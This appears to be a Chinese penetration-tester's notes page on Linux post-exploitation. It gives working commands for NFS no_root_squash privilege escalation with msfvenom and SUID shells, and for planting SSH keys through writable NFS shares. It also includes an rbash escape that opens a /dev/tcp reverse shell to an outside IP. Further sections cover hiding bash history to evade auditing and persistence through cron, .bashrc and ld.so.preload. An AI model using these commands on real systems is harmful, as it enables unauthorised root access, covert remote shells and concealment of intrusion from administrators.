如果有no_root_squash这个选项,root用户就会对共享目录拥有至高的权限控制,就像是对本机的目录操作一样。

  • no_root_squash:登入 NFS 主机使用分享目录的使用者,如果是 root 的话,那么对于这个分享的目录来说,他就具有 root 的权限!这个项目『极不安全』,不建议使用
  • root_squash:在登入 NFS 主机使用分享之目录的使用者如果是 root 时,那么这个使用者的权限将被压缩成为匿名使用者,通常他的 UID 与 GID 都会变成 nobody 那个系统账号的身份。

假设我们的目标机器上面存在这个配置要怎么利用呢?先用其他机器的root用户挂载目标机器上的NFS共享目录,然后用msfvenom生成一个shell在NFS的共享目录上。然后给予suid位权限,完成之后返回到目标机器上面的低权限用户上执行这个程序,就可以获得一个root_shell了。

在攻击机上以root用户操作

1
2
3
4
5
mkdir /tmp/nfsmount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

chmod +xs /tmp/nfs/shell.elf

现在返回目标机上的低权限用户执行

1
/tmp/shell.elf
Linux NFS提权 Linux NFS共享权限提升

所以,也可以不需要生成一个木马的操作。我们可以直接以root用户身份复制攻击机上面的shell到共享目录中,给予suid权限,然后切换到目标机,执行该程序即可

1
2
3
4
5
cp `which sh` /tmp/nfs
chmod +s /tmp/nfs/sh

-------目标机执行
./sh -p

共享目录可写

探测可挂载的目录。 可以看到/home/peter允许任意IP挂载,那么我们就可以挂载之后在自己的机器上添加一个用户,去操作这个用户的文件之类的。

注意/home/peter后面的星号,这意味着网络上的每台计算机都可以挂载此计算机的/home/peter文件夹。 如果在目录前面看到任何IP地址或IP范围定义,则意味着仅允许具有该特定IP或范围的计算机安装目录,这是一种很好的安全做法。

1
2
3
4
5
6
7
8
nmap -p 111 --script=nfs* 192.168.56.7
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-12 07:40 EDT
Nmap scan report for 192.168.56.7
Host is up (0.00092s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /home/peter *

写入操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir ~/homesudo mount -o nolock 192.168.56.7:/home/ /home/kali/home/

sudo grounpadd -g 1005 peter

sudo adduser peter -uid 1001 -gid 1005

su peter

ssh-keygen

cat ~/home/.ssh/id_rsa.pub > /home/kali/home/peter/.ssh/authorized_keys

ssh [email protected]

使用以下命令:

1
sudo mount -o nolock 192.168.56.7:/home/ /home/kali/home/

挂在成功后权限位有问题(好像就只有nfs4会有问题。。)

image-20201130100953041

1
sudo mount -o nolock,vers=3  192.168.56.7:/home/ /tmp/home/

image-20201130101625001

共享目录可写的配置文件。

1
2
3
4
5
6
7
8
9
10
11
12
peter@linsecurity:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/peter *(rw)

敏感信息泄露

挂载NFS磁盘之后找到一些密码或者是私钥等。

SMB

SMB_Cry

CVE-2010-0926 Samba smbd默认配置目录遍历漏洞

其他

rbash逃逸

1
ssh user@ip -t 'bash --noprofile'

或者

1
2
3
ssh user@ip -t "export TERM=xterm;python -c  'import pty;pty.spawn(\"/bin/bash\")'"

ssh user@ip -t "export TERM=xterm;bash -c 'bash -i >&/dev/tcp/192.168.119.163/80 0>&1'"

Bash dropping privileges

当bash运行时,它会检查$UID是否与$EUID匹配。如果没有(通常是通过suid方式提权的,就会出现这种情况),那么bash将删除特权。

1
cp /bin/bash /tmp/b && chmod +s /tmp/b/bin/b -p ### 维持特权 

用msf生成linux的二进制payload时可以添加PrependSetuid=true这个参数

或者加个简单的wrapper

1
#include<stdlib.h>main () {setuid(0);system("/bin/bash");}

mount nosuid

nosuid,是linux在mount时可以添加的一个属性,该属性禁止设置 suid 操作和设定 sgid 位。fstab

如果该属性被配置在了你想要操作suid提权的二进制程序的目录下的话,那么系统将会自动drop掉suid权限位。(部分系统可能会在安装初默认配置该选项如arch?(

image-20220712003735034

可以使用命令mount或者是findmnt等命令来查看

image-20220712003202392

image-20220712003128747

当切换到无设置nosuid参数的磁盘时,可正常提权:

image-20220712004003859

隐藏痕迹

隐藏命令执行

建议阅读:

基本概念:

当一个正常的交互式login shell登录时,执行命令时,执行HISTSIZE条命令会被记录到缓冲区里,当你成功注销时,才会将HISTSIZE条命令写入到HISTFILE变量中的文件里面,而HISTFILE变量默认的位置就是用户家目录下的.bash_history文件。

知道了保存历史命令的执行过程后我们会发现几点:

  1. 只有成功注销时才会写入到文件里面。
  2. 只会写入HISTSIZE条命令到HISTFILE文件里。

通过set命令可以快速观察到默认的环境变量设置(环境为Cetnos6)

以及观察有没有开启当前shell有没有开启history功能

Bash部分环境变量

来解释一下这几个和历史命令有关的环境变量吧
HISTFILE:保存历史命令的文件
HISTSIZE:当前会话保存历史命令的数量
HISTFILESIZE:保存历史命令的文件保存历史命令的数量
HISTIGNORE :保存历史时忽略某些命令
HISTCONTROL :保存历史时忽略某些命令组合

常见隐藏执行命令的方式

所以隐藏执行历史命令的命令有

1、在当前会话中临时取消HISTFILE变量,这样就算正常退出 历史命令也没有地方保存。

1
unset HISTFILE  

2、在当前会话中临时设置HISTFILE变量,将其保存到空设备中。

1
export HISTFILE=/dev/null

3、在当前会话中 关闭bash的history功能

1
set +o history

4、同set +o hisotry

1
shopt -u -o history 

5、 通过这样打开的bash 不是login shell 也没有打开history功能可以隐藏后续执行的命令。

1
cat | bash

6、 设置当前会话的记录历史命令数量为0,当正常退出时也不会记录命令,不过想执行历史命令时会有诸多不便,因为不能通过方向键上下翻页去找自己执行过的命令。

1
export HISTSIZE = 0

7、不正常退出当前shell,比如 kill掉当前bash。

8、命令前带空格(非万能、非绝对可行,请看下面知识点。

9、退出会话前使用history -r,清除当前会话的历史命令记录

命令前带空格的命令为什么能不被记录

前面有个很重要的知识点没说到,HISTCONTROL变量,就是这个变量的设置决定了命令前带空格是否会被忽略还是记录。

在Debian10中,Bash的默认HISTCONTROL变量为ignoreboth,而我在Centos6中发现Bash的默认HISTCONTROLignoredups。这样会造成什么样的差异呢?

ignoredups是忽略连续两条以上的重复命令,ignoredspace是忽略命令开头带有空格的命令,而ignoredboth等价于ignoredupsignorespace的组合,即忽略开头带空格的命令,又忽略连续两条以上重复的命令。

只有HISTCONTROL=ignorespace或者是ignoreboth时,才会忽略命令前带空格的命令。

所以如果当前的HISTCONTROL环境变量不是ignoreboth时,我们可以临时设置个ignoreboth给他,这样后续也能命令前带个空格的方式来隐藏。

1
export HISTCONTROL=ignoreboth

写的有点水,,有不对的地方,还请各位师傅斧正。。

清除记录(待填坑

权限维持

匿名、免费的代码托管平台

1
2
3
-   `sowcar.com` 免费图床
- `pastebin.com` 免费代码分享平台
- `paste.ubuntu.com` 免费代码分享平台

自启

rc.d

systemctl

service

shell启动

如root用户的.bashrc

计划任务

crontab

驻留

劫持预加载动态链接库

  • /etc/ld.so.preload
  • LD_PRELOAD

20210902-14:23:46-_xNbgbE_NBFugT_xNbgbE_1630563826338_xNbgbE_NBFugT

20210902-15:47:26-_KvUzVY_q9MC5a_KvUzVY_1630568846205_KvUzVY_q9MC5a

20210902-14:24:53-_4gFSxZ_FASJu8_4gFSxZ_1630563893833_4gFSxZ_FASJu8

参考文章